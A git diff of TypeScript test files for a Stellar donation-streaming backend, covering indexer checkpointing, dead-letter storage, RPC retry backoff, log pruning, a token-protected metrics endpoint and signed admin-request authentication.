wellFormedCreatedEvent(401, 11n), + wellFormedCreatedEvent(402, 12n), + wellFormedCreatedEvent(403, 13n), + ], + latestLedger: 420, + }); + + await pollOnce(handleEvent); + + expect(handleEvent).toHaveBeenCalledTimes(3); + expect(await getCheckpoint()).toBe(403); + }); + + it('keeps the checkpoint at the last successful event if failure recording fails', async () => { + const { pollOnce } = await freshIndexer(); + const handleEvent = vi.fn(async (event: ContractEvent) => { + if (event.ledger === 502) throw new TypeError('invalid payload: shape mismatch'); + }); + + await saveCheckpoint(500); + mocks.getLatestLedgerSequence.mockResolvedValue(520); + mocks.getEvents.mockResolvedValueOnce({ + events: [ + wellFormedCreatedEvent(501, 14n), + wellFormedCreatedEvent(502, 15n), + wellFormedCreatedEvent(503, 16n), + ], + latestLedger: 520, + }); + vi.spyOn(prisma.indexerDeadLetter, 'upsert').mockRejectedValueOnce( + new Error('dead-letter store unavailable'), + ); + + await expect(pollOnce(handleEvent)).rejects.toThrow('dead-letter store unavailable'); + + expect(handleEvent).toHaveBeenCalledTimes(2); + expect(await getCheckpoint()).toBe(501); + }); + + it('stores failing events with enough raw data (topic/value XDR, txHash) to rebuild and tracks attempts', async () => { + const { pollOnce, dispatchEvent } = await freshIndexer(); + + await saveCheckpoint(600); + mocks.getLatestLedgerSequence.mockResolvedValue(620); + + const malformed = malformedCreatedEvent(601); + mocks.getEvents.mockResolvedValueOnce({ + events: [malformed], + latestLedger: 620, + }); + + await pollOnce(dispatchEvent); + + const deadLetter = await prisma.indexerDeadLetter.findUnique({ + where: { eventId: malformed.id }, + }); + expect(deadLetter).not.toBeNull(); + expect(deadLetter?.ledger).toBe(601); + expect(deadLetter?.contractId).toBe(mocks.contractId); + expect(deadLetter?.txHash).toBe(malformed.txHash); + expect(deadLetter?.attempts).toBe(1); + expect(deadLetter?.topic.length).toBeGreaterThan(0); + expect(deadLetter?.value).not.toBeNull(); + + // Rebuild the event from stored XDR payload + const rebuilt = rebuildEventFromDeadLetter(deadLetter!); + expect(rebuilt.id).toBe(malformed.id); + expect(rebuilt.ledger).toBe(malformed.ledger); + expect(rebuilt.contractId).toBe(malformed.contractId); + expect(rebuilt.txHash).toBe(malformed.txHash); + expect(rebuilt.topic).toHaveLength(malformed.topic.length); + for (let i = 0; i < malformed.topic.length; i++) { + expect(rebuilt.topic[i].toXDR('base64')).toBe(malformed.topic[i].toXDR('base64')); + } + expect(rebuilt.value?.toXDR('base64')).toBe(malformed.value.toXDR('base64')); + + // If recorded again, attempts increments + mocks.getEvents.mockResolvedValueOnce({ + events: [malformed], + latestLedger: 620, + }); + await pollOnce(dispatchEvent); + + const updatedDeadLetter = await prisma.indexerDeadLetter.findUnique({ + where: { eventId: malformed.id }, + }); + expect(updatedDeadLetter?.attempts).toBe(2); + }); + + it('retries transient handler errors without dead-lettering, advancing checkpoint only after success', async () => { + const { pollOnce } = await freshIndexer(); + + await saveCheckpoint(700); + mocks.getLatestLedgerSequence.mockResolvedValue(720); + + const event = wellFormedCreatedEvent(701, 77n); + let attempts = 0; + const handleEvent = vi.fn(async () => { + attempts++; + if (attempts === 1) { + throw new Error('transient database connection timeout'); + } + }); + + // First attempt: handler fails with a transient error + mocks.getEvents.mockResolvedValueOnce({ + events: [event], + latestLedger: 720, + }); + + await expect(pollOnce(handleEvent)).rejects.toThrow('transient database connection timeout'); + + // Checkpoint must NOT advance on transient failure + expect(await getCheckpoint()).toBe(700); + // Transient failure must NOT be dead-lettered + expect(await prisma.indexerDeadLetter.count()).toBe(0); + + // Second attempt: retry succeeds + mocks.getEvents.mockResolvedValueOnce({ + events: [event], + latestLedger: 720, + }); + + await expect(pollOnce(handleEvent)).resolves.not.toThrow(); + + // Checkpoint advances only after successful retry + expect(await getCheckpoint()).toBe(701); + expect(await prisma.indexerDeadLetter.count()).toBe(0); + }); +}); + +describe('backoff on RPC failures (#115)', () => { + beforeEach(() => { + // The pollOnce block's afterAll deletes this, and these cases run after + // it. contracts.ts reads it at module load, and freshIndexer() calls + // vi.resetModules(), so it has to be back in place before that re-import + // or WATCHED_CONTRACT_IDS comes back empty and pollOnce() no-ops without + // ever reaching the RPC. + process.env.DONATION_VAULT_CONTRACT_ID = mocks.contractId; + // clearAllMocks() in the outer hook clears call history but leaves + // implementations in place, so a mockRejectedValue from one test would + // otherwise leak into the next one. Each test below sets its own. + vi.mocked(mocks.getLatestLedgerSequence).mockReset(); + // These cases assert the delay schedule, not what lands in the database, + // and the checkpoint write on a successful poll would otherwise need a live + // Postgres. Stub both; the pollOnce cases above keep the real pair. + mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); + mocks.saveCheckpoint.mockResolvedValue(undefined); + // Every test here drives the failure path, which logs on purpose. + vi.spyOn(console, 'error').mockImplementation(() => {}); + }); + + it('does not overlap polls when an RPC request takes longer than the interval', async () => { + process.env.INDEXER_POLL_INTERVAL_MS = '10'; + mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); + mocks.saveCheckpoint.mockResolvedValue(undefined); + let latestLedger = 100; + mocks.getLatestLedgerSequence.mockImplementation(async () => ++latestLedger); + + let activePolls = 0; + let maxConcurrentPolls = 0; + mocks.getEvents.mockImplementation(async () => { + activePolls += 1; + maxConcurrentPolls = Math.max(maxConcurrentPolls, activePolls); + await new Promise((resolve) => setTimeout(resolve, 50)); + activePolls -= 1; + return { events: [], latestLedger: 101 }; + }); + + const { startIndexer } = await freshIndexer(); + vi.useFakeTimers(); + + const stop = startIndexer(async () => {}); + await vi.advanceTimersByTimeAsync(175); + await stop(); + + expect(maxConcurrentPolls).toBe(1); + expect(mocks.getEvents).toHaveBeenCalledTimes(3); + }); + + afterEach(() => { + vi.useRealTimers(); + vi.restoreAllMocks(); + }); + + it('grows the delay with each consecutive failure, up to a cap', async () => { + process.env.INDEXER_POLL_INTERVAL_MS = '1000'; + + const { backoffDelayMs } = await freshIndexer(); + + expect(backoffDelayMs(0)).toBe(1000); + // One failure is not an outage: retry once at the normal interval rather + // than making a single blip look like one. + expect(backoffDelayMs(1)).toBe(1000); + // Then it doubles per failure. + expect(backoffDelayMs(2)).toBe(2000); + expect(backoffDelayMs(3)).toBe(4000); + expect(backoffDelayMs(4)).toBe(8000); + expect(backoffDelayMs(5)).toBe(16000); + + // Capped, so a long outage still re-checks the endpoint periodically + // instead of drifting to a delay that looks like a hung indexer. + expect(backoffDelayMs(30)).toBe(5 * 60_000); + expect(backoffDelayMs(31)).toBe(backoffDelayMs(30)); + // And strictly below the uncapped value it replaces. + expect(backoffDelayMs(30)).toBeLessThan(1000 * 2 ** 29); + }); + + it('waits longer before each retry while the RPC keeps failing', async () => { + process.env.INDEXER_POLL_INTERVAL_MS = '1000'; + mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); + vi.mocked(mocks.getLatestLedgerSequence).mockRejectedValue(new Error('RPC unreachable')); + + const { startIndexer } = await freshIndexer(); + vi.useFakeTimers(); + + const stop = startIndexer(async () => {}); + + // Poll 1 runs immediately, fails, and schedules its retry 1s out. + await vi.advanceTimersByTimeAsync(0); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(1); + + // Still nothing at 999ms — the first retry really is a full interval away. + await vi.advanceTimersByTimeAsync(999); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(1); + await vi.advanceTimersByTimeAsync(1); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(2); + + // Poll 2 failed too, so the next wait doubles to 2s. One more second is + // not enough to trigger it. + await vi.advanceTimersByTimeAsync(1999); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(2); + await vi.advanceTimersByTimeAsync(1); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(3); + + // And again to 4s: nothing at 3.9s, poll 4 at 4s. + await vi.advanceTimersByTimeAsync(3900); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(3); + await vi.advanceTimersByTimeAsync(100); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(4); + + await stop(); + }); + + it('resets the delay to the poll interval after a successful poll', async () => { + process.env.INDEXER_POLL_INTERVAL_MS = '1000'; + mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); + vi.mocked(mocks.getLatestLedgerSequence) + .mockRejectedValueOnce(new Error('RPC unreachable')) + .mockRejectedValueOnce(new Error('RPC unreachable')) + .mockResolvedValue(500); + // Only this case has a poll that succeeds, so this is the only one that + // reaches the event fetch. pollOnce() destructures the result, so it has + // to be a real shape — an empty list still counts as a scanned window, so + // the poll completes and the counter resets rather than throwing. + mocks.getEvents.mockResolvedValue({ events: [], latestLedger: 500 }); + + const { startIndexer } = await freshIndexer(); + vi.useFakeTimers(); + + const stop = startIndexer(async () => {}); + + // Two failures, so the counter is at 2 and the next delay would be 4s... + await vi.advanceTimersByTimeAsync(0); // poll 1 fails, retry in 1s + await vi.advanceTimersByTimeAsync(1000); // poll 2 fails, retry in 2s + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(2); + + // ...but poll 3 gets a response, which clears the counter and drops the + // next delay straight back to the poll interval. + await vi.advanceTimersByTimeAsync(2000); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(3); + + await vi.advanceTimersByTimeAsync(1000); + expect(mocks.getLatestLedgerSequence).toHaveBeenCalledTimes(4); + + await stop(); + }); +}); + +describe('events-per-poll cap', () => { + beforeEach(() => { + process.env.DONATION_VAULT_CONTRACT_ID = mocks.contractId; + mocks.getEvents.mockReset(); + mocks.getLatestLedgerSequence.mockReset(); + }); + + afterEach(() => { + delete process.env.INDEXER_MAX_EVENTS_PER_POLL; + }); + + it('resumes after the last event in a capped page, including after restart', async () => { + process.env.INDEXER_MAX_EVENTS_PER_POLL = '2'; + let checkpoint = { lastLedger: 100, lastEventId: undefined as string | undefined }; + mocks.getCheckpointState.mockImplementation(async () => checkpoint); + mocks.saveCheckpoint.mockImplementation(async (lastLedger: number, lastEventId?: string) => { + checkpoint = { lastLedger, lastEventId }; + }); + mocks.getLatestLedgerSequence.mockResolvedValue(101); + + const events = [ + makeEvent([], i128ScVal(1n), { id: 'event-1', ledger: 101 }), + makeEvent([], i128ScVal(2n), { id: 'event-2', ledger: 101 }), + makeEvent([], i128ScVal(3n), { id: 'event-3', ledger: 101 }), + ]; + mocks.getEvents.mockImplementation(async (request) => ({ + events: 'cursor' in request ? events.slice(2) : events.slice(0, 2), + })); + + const handled = vi.fn(async () => {}); + const { pollOnce } = await freshIndexer(); + await pollOnce(handled); + + expect(mocks.getEvents).toHaveBeenNthCalledWith( + 1, + expect.objectContaining({ startLedger: 101, limit: 2 }), + ); + expect(checkpoint).toEqual({ lastLedger: 101, lastEventId: 'event-2' }); + + const restarted = await freshIndexer(); + await restarted.pollOnce(handled); + + expect(mocks.getEvents).toHaveBeenNthCalledWith( + 2, + expect.objectContaining({ cursor: 'event-2', limit: 2 }), + ); + expect(handled.mock.calls).toHaveLength(3); + expect(checkpoint).toEqual({ lastLedger: 101, lastEventId: 'event-3' }); + }); + + it('rejects a non-positive cap', async () => { + process.env.INDEXER_MAX_EVENTS_PER_POLL = '0'; + await expect(freshIndexer()).rejects.toThrow( + 'INDEXER_MAX_EVENTS_PER_POLL must be a positive integer', + ); + }); +}); + +describe('startIndexer stop behavior', () => { + afterEach(() => { + vi.useRealTimers(); + vi.restoreAllMocks(); + delete process.env.DONATION_VAULT_CONTRACT_ID; + delete process.env.INDEXER_POLL_INTERVAL_MS; + }); + + it('stops polling after the stop function is called', async () => { + process.env.DONATION_VAULT_CONTRACT_ID = mocks.contractId; + process.env.INDEXER_POLL_INTERVAL_MS = '5000'; + vi.useFakeTimers(); + + mocks.getCheckpointState.mockResolvedValue({ lastLedger: 100 }); + mocks.getLatestLedgerSequence.mockResolvedValue(100); + mocks.getEvents.mockResolvedValue({ events: [], latestLedger: 100 }); + + const { startIndexer } = await freshIndexer(); + const stop = startIndexer(async () => {}); + + await vi.advanceTimersByTimeAsync(0); + const callsBeforeStop = mocks.getLatestLedgerSequence.mock.calls.length; + await stop(); + await vi.advanceTimersByTimeAsync(10_000); + + expect(mocks.getLatestLedgerSequence.mock.calls.length).toBe(callsBeforeStop); + }); + + it('recovers when the checkpoint is outside the RPC retention window', async () => { + process.env.DONATION_VAULT_CONTRACT_ID = mocks.contractId; + vi.spyOn(console, 'warn').mockImplementation(() => {}); + + mocks.getCheckpointState.mockResolvedValue({ + lastLedger: 500, + lastEventId: undefined, + }); + mocks.getLatestLedgerSequence.mockResolvedValue(10000); + mocks.getEvents.mockRejectedValueOnce({ + message: 'startLedger must be within the ledger range [9000, 10000]', + }); + mocks.saveCheckpoint.mockResolvedValue(undefined); + + const { pollOnce } = await freshIndexer(); + const handler = vi.fn(); + + await pollOnce(handler); + + expect(console.warn).toHaveBeenCalledWith( + expect.stringContaining('checkpoint 500 has aged out'), + ); + expect(mocks.saveCheckpoint).toHaveBeenCalledWith(10000); + expect(handler).not.toHaveBeenCalled(); + + vi.mocked(console.warn).mockRestore(); + }); +}); diff --git a/test/logRetention.integration.test.ts b/test/logRetention.integration.test.ts index c714569..b61742f 100644 --- a/test/logRetention.integration.test.ts +++ b/test/logRetention.integration.test.ts @@ -1,45 +1,45 @@ -import { afterEach, describe, expect, it } from 'vitest'; - -import { prisma } from '../src/db.js'; -import { pruneOldLogs } from '../src/maintenance/logRetention.js'; -import { resetDb } from './helpers/db.js'; - -describe('pruneOldLogs', () => { - const originalRetentionDays = process.env.LOG_RETENTION_DAYS; - - afterEach(async () => { - if (originalRetentionDays === undefined) delete process.env.LOG_RETENTION_DAYS; - else process.env.LOG_RETENTION_DAYS = originalRetentionDays; - await resetDb(); - }); - - it('removes expired notification logs and resolved dead letters but keeps recent or unresolved rows', async () => { - process.env.LOG_RETENTION_DAYS = '30'; - const now = new Date('2026-10-21T12:00:00.000Z'); - const old = new Date('2026-09-01T12:00:00.000Z'); - const recent = new Date('2026-10-01T12:00:00.000Z'); - - const oldNotification = await prisma.notificationLog.create({ - data: { eventType: 'stream.created', channel: 'test', success: true, createdAt: old }, - }); - const recentNotification = await prisma.notificationLog.create({ - data: { eventType: 'stream.created', channel: 'test', success: true, createdAt: recent }, - }); - const oldResolved = await prisma.indexerDeadLetter.create({ - data: { eventId: 'old-resolved', ledger: 1, error: 'test', resolvedAt: old }, - }); - const recentResolved = await prisma.indexerDeadLetter.create({ - data: { eventId: 'recent-resolved', ledger: 2, error: 'test', resolvedAt: recent }, - }); - const unresolved = await prisma.indexerDeadLetter.create({ - data: { eventId: 'unresolved', ledger: 3, error: 'test', resolvedAt: null, createdAt: old }, - }); - - expect(await pruneOldLogs(now)).toEqual({ notifications: 1, deadLetters: 1 }); - expect(await prisma.notificationLog.findUnique({ where: { id: oldNotification.id } })).toBeNull(); - expect(await prisma.notificationLog.findUnique({ where: { id: recentNotification.id } })).not.toBeNull(); - expect(await prisma.indexerDeadLetter.findUnique({ where: { id: oldResolved.id } })).toBeNull(); - expect(await prisma.indexerDeadLetter.findUnique({ where: { id: recentResolved.id } })).not.toBeNull(); - expect(await prisma.indexerDeadLetter.findUnique({ where: { id: unresolved.id } })).not.toBeNull(); - }); -}); +import { afterEach, describe, expect, it } from 'vitest'; + +import { prisma } from '../src/db.js'; +import { pruneOldLogs } from '../src/maintenance/logRetention.js'; +import { resetDb } from './helpers/db.js'; + +describe('pruneOldLogs', () => { + const originalRetentionDays = process.env.LOG_RETENTION_DAYS; + + afterEach(async () => { + if (originalRetentionDays === undefined) delete process.env.LOG_RETENTION_DAYS; + else process.env.LOG_RETENTION_DAYS = originalRetentionDays; + await resetDb(); + }); + + it('removes expired notification logs and resolved dead letters but keeps recent or unresolved rows', async () => { + process.env.LOG_RETENTION_DAYS = '30'; + const now = new Date('2026-10-21T12:00:00.000Z'); + const old = new Date('2026-09-01T12:00:00.000Z'); + const recent = new Date('2026-10-01T12:00:00.000Z'); + + const oldNotification = await prisma.notificationLog.create({ + data: { eventType: 'stream.created', channel: 'test', success: true, createdAt: old }, + }); + const recentNotification = await prisma.notificationLog.create({ + data: { eventType: 'stream.created', channel: 'test', success: true, createdAt: recent }, + }); + const oldResolved = await prisma.indexerDeadLetter.create({ + data: { eventId: 'old-resolved', ledger: 1, error: 'test', resolvedAt: old }, + }); + const recentResolved = await prisma.indexerDeadLetter.create({ + data: { eventId: 'recent-resolved', ledger: 2, error: 'test', resolvedAt: recent }, + }); + const unresolved = await prisma.indexerDeadLetter.create({ + data: { eventId: 'unresolved', ledger: 3, error: 'test', resolvedAt: null, createdAt: old }, + }); + + expect(await pruneOldLogs(now)).toEqual({ notifications: 1, deadLetters: 1 }); + expect(await prisma.notificationLog.findUnique({ where: { id: oldNotification.id } })).toBeNull(); + expect(await prisma.notificationLog.findUnique({ where: { id: recentNotification.id } })).not.toBeNull(); + expect(await prisma.indexerDeadLetter.findUnique({ where: { id: oldResolved.id } })).toBeNull(); + expect(await prisma.indexerDeadLetter.findUnique({ where: { id: recentResolved.id } })).not.toBeNull(); + expect(await prisma.indexerDeadLetter.findUnique({ where: { id: unresolved.id } })).not.toBeNull(); + }); +}); diff --git a/test/metrics.test.ts b/test/metrics.test.ts index ddfaac1..9ccdbcc 100644 --- a/test/metrics.test.ts +++ b/test/metrics.test.ts @@ -1,102 +1,102 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -vi.mock('../src/routes/ngoApplications.js', () => ({ - ngoApplicationRoutes: async () => {}, -})); - -import { buildServer } from '../src/server.js'; -import { - recordIndexerEventDeadLettered, - recordIndexerEventProcessed, - recordIndexerEventsSkipped, - renderMetrics, -} from '../src/metrics.js'; - -describe('GET /metrics', () => { - const originalMetricsToken = process.env.METRICS_TOKEN; - - beforeEach(() => { - delete process.env.METRICS_TOKEN; - }); - - afterEach(() => { - if (originalMetricsToken === undefined) { - delete process.env.METRICS_TOKEN; - } else { - process.env.METRICS_TOKEN = originalMetricsToken; - } - }); - - it('returns Prometheus text with HTTP and indexer metrics', async () => { - const app = buildServer(); - - await app.inject({ method: 'GET', url: '/not-a-route' }); - const response = await app.inject({ method: 'GET', url: '/metrics' }); - - expect(response.statusCode).toBe(200); - expect(response.headers['content-type']).toContain('text/plain'); - expect(response.body).toContain('# TYPE streamgive_http_requests_total counter'); - expect(response.body).toContain( - 'streamgive_http_requests_total{method="GET",route="unmatched",status_code="404"}', - ); - expect(response.body).toContain('# TYPE streamgive_http_request_duration_seconds histogram'); - expect(response.body).toContain('streamgive_http_request_duration_seconds_bucket'); - expect(response.body).toContain('# TYPE streamgive_indexer_lag_ledgers gauge'); - expect(response.body).toContain('streamgive_indexer_checkpoint_ledger 0'); - expect(response.body).toContain('# TYPE process_resident_memory_bytes gauge'); - expect(response.body).toContain('# TYPE nodejs_eventloop_utilization gauge'); - expect(response.body).toContain('# TYPE streamgive_notification_deliveries_total counter'); - - await app.close(); - }); - - it('increments processed, dead-lettered, and skipped indexer counters', () => { - const before = renderMetrics(); - const value = (metrics: string, name: string) => - Number(metrics.match(new RegExp(`^${name} (\\d+)$`, 'm'))?.[1]); - - recordIndexerEventProcessed(); - recordIndexerEventDeadLettered(); - recordIndexerEventsSkipped(); - - const after = renderMetrics(); - expect(value(after, 'streamgive_indexer_events_processed_total')).toBe( - value(before, 'streamgive_indexer_events_processed_total') + 1, - ); - expect(value(after, 'streamgive_indexer_events_dead_lettered_total')).toBe( - value(before, 'streamgive_indexer_events_dead_lettered_total') + 1, - ); - expect(value(after, 'streamgive_indexer_events_skipped_total')).toBe( - value(before, 'streamgive_indexer_events_skipped_total') + 1, - ); - }); - - it('requires the configured bearer token on /metrics', async () => { - process.env.METRICS_TOKEN = 'metrics-secret'; - const app = buildServer(); - - const missing = await app.inject({ method: 'GET', url: '/metrics' }); - expect(missing.statusCode).toBe(401); - expect(missing.json()).toEqual({ error: 'unauthorized' }); - expect(missing.headers['www-authenticate']).toContain('Bearer'); - - const wrong = await app.inject({ - method: 'GET', - url: '/metrics', - headers: { authorization: 'Bearer not-the-secret' }, - }); - expect(wrong.statusCode).toBe(401); - expect(wrong.json()).toEqual({ error: 'unauthorized' }); - - const correct = await app.inject({ - method: 'GET', - url: '/metrics', - headers: { authorization: 'Bearer metrics-secret' }, - }); - expect(correct.statusCode).toBe(200); - expect(correct.headers['content-type']).toContain('text/plain'); - expect(correct.body).toContain('# TYPE streamgive_http_requests_total counter'); - - await app.close(); - }); -}); +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +vi.mock('../src/routes/ngoApplications.js', () => ({ + ngoApplicationRoutes: async () => {}, +})); + +import { buildServer } from '../src/server.js'; +import { + recordIndexerEventDeadLettered, + recordIndexerEventProcessed, + recordIndexerEventsSkipped, + renderMetrics, +} from '../src/metrics.js'; + +describe('GET /metrics', () => { + const originalMetricsToken = process.env.METRICS_TOKEN; + + beforeEach(() => { + delete process.env.METRICS_TOKEN; + }); + + afterEach(() => { + if (originalMetricsToken === undefined) { + delete process.env.METRICS_TOKEN; + } else { + process.env.METRICS_TOKEN = originalMetricsToken; + } + }); + + it('returns Prometheus text with HTTP and indexer metrics', async () => { + const app = buildServer(); + + await app.inject({ method: 'GET', url: '/not-a-route' }); + const response = await app.inject({ method: 'GET', url: '/metrics' }); + + expect(response.statusCode).toBe(200); + expect(response.headers['content-type']).toContain('text/plain'); + expect(response.body).toContain('# TYPE streamgive_http_requests_total counter'); + expect(response.body).toContain( + 'streamgive_http_requests_total{method="GET",route="unmatched",status_code="404"}', + ); + expect(response.body).toContain('# TYPE streamgive_http_request_duration_seconds histogram'); + expect(response.body).toContain('streamgive_http_request_duration_seconds_bucket'); + expect(response.body).toContain('# TYPE streamgive_indexer_lag_ledgers gauge'); + expect(response.body).toContain('streamgive_indexer_checkpoint_ledger 0'); + expect(response.body).toContain('# TYPE process_resident_memory_bytes gauge'); + expect(response.body).toContain('# TYPE nodejs_eventloop_utilization gauge'); + expect(response.body).toContain('# TYPE streamgive_notification_deliveries_total counter'); + + await app.close(); + }); + + it('increments processed, dead-lettered, and skipped indexer counters', () => { + const before = renderMetrics(); + const value = (metrics: string, name: string) => + Number(metrics.match(new RegExp(`^${name} (\\d+)$`, 'm'))?.[1]); + + recordIndexerEventProcessed(); + recordIndexerEventDeadLettered(); + recordIndexerEventsSkipped(); + + const after = renderMetrics(); + expect(value(after, 'streamgive_indexer_events_processed_total')).toBe( + value(before, 'streamgive_indexer_events_processed_total') + 1, + ); + expect(value(after, 'streamgive_indexer_events_dead_lettered_total')).toBe( + value(before, 'streamgive_indexer_events_dead_lettered_total') + 1, + ); + expect(value(after, 'streamgive_indexer_events_skipped_total')).toBe( + value(before, 'streamgive_indexer_events_skipped_total') + 1, + ); + }); + + it('requires the configured bearer token on /metrics', async () => { + process.env.METRICS_TOKEN = 'metrics-secret'; + const app = buildServer(); + + const missing = await app.inject({ method: 'GET', url: '/metrics' }); + expect(missing.statusCode).toBe(401); + expect(missing.json()).toEqual({ error: 'unauthorized' }); + expect(missing.headers['www-authenticate']).toContain('Bearer'); + + const wrong = await app.inject({ + method: 'GET', + url: '/metrics', + headers: { authorization: 'Bearer not-the-secret' }, + }); + expect(wrong.statusCode).toBe(401); + expect(wrong.json()).toEqual({ error: 'unauthorized' }); + + const correct = await app.inject({ + method: 'GET', + url: '/metrics', + headers: { authorization: 'Bearer metrics-secret' }, + }); + expect(correct.statusCode).toBe(200); + expect(correct.headers['content-type']).toContain('text/plain'); + expect(correct.body).toContain('# TYPE streamgive_http_requests_total counter'); + + await app.close(); + }); +}); diff --git a/test/middleware/adminAuth.test.ts b/test/middleware/adminAuth.test.ts index 30574dd..b1e20da 100644 --- a/test/middleware/adminAuth.test.ts +++ b/test/middleware/adminAuth.test.ts @@ -1,252 +1,252 @@ -import { Keypair } from '@stellar/stellar-sdk'; -import { afterAll, describe, expect, it } from 'vitest'; - -import { bodyHash, sep53Hash } from '../../src/middleware/adminAuth.js'; -import { buildServer } from '../../src/server.js'; -import { signAdminRequest } from '../helpers/adminAuth.js'; - -// Three independent keypairs: one for the legacy single-key var, one that -// only ever appears in the list, and one configured nowhere. Keeping the -// third one lets the "rejected" case be a genuine allow-list miss rather -// than a signature that happened to fail verification, which a 401 alone -// can't tell apart. -const legacyAdmin = Keypair.random(); -const listedAdmin = Keypair.random(); -const unlistedAdmin = Keypair.random(); - -const originalAdminAddress = process.env.ADMIN_ADDRESS; -const originalAdminAddresses = process.env.ADMIN_ADDRESSES; - -/** Sets the admin config for one test. The middleware reads env per-request, - * so this works whether it runs before or after the server is built. */ -function configureAdmins(single?: string, list?: string): void { - if (single === undefined) delete process.env.ADMIN_ADDRESS; - else process.env.ADMIN_ADDRESS = single; - - if (list === undefined) delete process.env.ADMIN_ADDRESSES; - else process.env.ADMIN_ADDRESSES = list; -} - -afterAll(() => { - configureAdmins(originalAdminAddress, originalAdminAddresses); -}); - -/** Signs for and calls the admin-only application list as `keypair`, and - * returns the status/body so each test can assert exactly what it cares - * about. A fresh server per call means each gets its own rate-limit bucket. */ -async function listApplicationsAs(keypair: Keypair) { - const app = buildServer(); - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications', - headers: signAdminRequest(keypair, 'GET', '/v1/ngo-applications'), - }); - const result = { - statusCode: response.statusCode, - body: response.json() as { error?: string }, - }; - await app.close(); - return result; -} - -describe('requireAdminSignature', () => { - it('accepts the single admin configured via ADMIN_ADDRESS', async () => { - configureAdmins(legacyAdmin.publicKey()); - - await expect(listApplicationsAs(legacyAdmin)).resolves.toMatchObject({ statusCode: 200 }); - }); - - it('accepts every address in a comma-separated ADMIN_ADDRESSES list', async () => { - configureAdmins(undefined, [legacyAdmin.publicKey(), listedAdmin.publicKey()].join(',')); - - const legacy = await listApplicationsAs(legacyAdmin); - const listed = await listApplicationsAs(listedAdmin); - - expect(legacy.statusCode).toBe(200); - expect(listed.statusCode).toBe(200); - }); - - it('accepts both a legacy ADMIN_ADDRESS and an ADMIN_ADDRESSES list at once', async () => { - configureAdmins(legacyAdmin.publicKey(), listedAdmin.publicKey()); - - const legacy = await listApplicationsAs(legacyAdmin); - const listed = await listApplicationsAs(listedAdmin); - - expect(legacy.statusCode).toBe(200); - expect(listed.statusCode).toBe(200); - }); - - it('tolerates spaces and blank entries in ADMIN_ADDRESSES', async () => { - // The kind of list a human actually pastes. - configureAdmins(undefined, ` ${listedAdmin.publicKey()} , ,`); - - const listed = await listApplicationsAs(listedAdmin); - - expect(listed.statusCode).toBe(200); - }); - - it('rejects a self-signed request from an address that is not an admin', async () => { - configureAdmins(legacyAdmin.publicKey(), listedAdmin.publicKey()); - - // The signature is valid for unlistedAdmin's own key -- it still isn't - // an admin, so the allow-list check has to be what rejects it. - const response = await listApplicationsAs(unlistedAdmin); - - expect(response.statusCode).toBe(401); - expect(response.body.error).toBe('unauthorized'); - }); - - it('503s when neither ADMIN_ADDRESS nor ADMIN_ADDRESSES is configured', async () => { - configureAdmins(); - - const response = await listApplicationsAs(legacyAdmin); - - expect(response.statusCode).toBe(503); - expect(response.body.error).toBe('admin_auth_not_configured'); - }); - - it('rejects non-numeric timestamps', async () => { - configureAdmins(legacyAdmin.publicKey()); - - const app = buildServer(); - const headers = signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications'); - headers['x-admin-timestamp'] = 'abc'; - - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications', - headers, - }); - - expect(response.statusCode).toBe(401); - expect(response.json().error).toBe('stale_signature'); - - await app.close(); - }); - - it('rejects malformed admin addresses', async () => { - configureAdmins(legacyAdmin.publicKey()); - - const app = buildServer(); - const headers = signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications'); - headers['x-admin-address'] = 'not-a-stellar-address'; - - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications', - headers, - }); - - expect(response.statusCode).toBe(401); - expect(response.json().error).toBe('unauthorized'); - - await app.close(); - }); - - it('rejects a stale signature (timestamp outside the ±5-min window)', async () => { - configureAdmins(legacyAdmin.publicKey()); - - const app = buildServer(); - const staleTs = (Date.now() - 6 * 60 * 1000).toString(); // 6 minutes ago - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications', - headers: signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications', staleTs), - }); - await app.close(); - - expect(response.statusCode).toBe(401); - expect(response.json<{ error: string }>().error).toBe('stale_signature'); - }); - - it('rejects a seconds-precision timestamp with timestamp_unit_mismatch', async () => { - configureAdmins(legacyAdmin.publicKey()); - - const app = buildServer(); - const secondsTs = Math.floor(Date.now() / 1000).toString(); // 10-digit seconds value - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications', - headers: signAdminRequest(legacyAdmin, 'GET', '/v1/ngo-applications', secondsTs), - }); - await app.close(); - - expect(response.statusCode).toBe(401); - expect(response.json<{ error: string }>().error).toBe('timestamp_unit_mismatch'); - }); - - it('rejects a request when the body has been tampered with', async () => { - configureAdmins(legacyAdmin.publicKey()); - - const app = buildServer(); - const ts = Date.now().toString(); - const originalBody = JSON.stringify({ reviewNote: 'approved' }); - const tamperedBody = JSON.stringify({ reviewNote: 'rejected' }); - - // Sign over the original body, but send a different body - const headers = signAdminRequest(legacyAdmin, 'POST', '/v1/ngo-applications/00000000-0000-0000-0000-000000000000/approve', ts, originalBody); - - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications/00000000-0000-0000-0000-000000000000/approve', - headers: { ...headers, 'content-type': 'application/json' }, - payload: tamperedBody, - }); - await app.close(); - - // The body hash in the signed payload won't match the tampered body, - // so the signature verification fails. - expect(response.statusCode).toBe(401); - expect(response.json<{ error: string }>().error).toBe('unauthorized'); - }); - - it('accepts a valid hex-encoded signature (not base64)', async () => { - 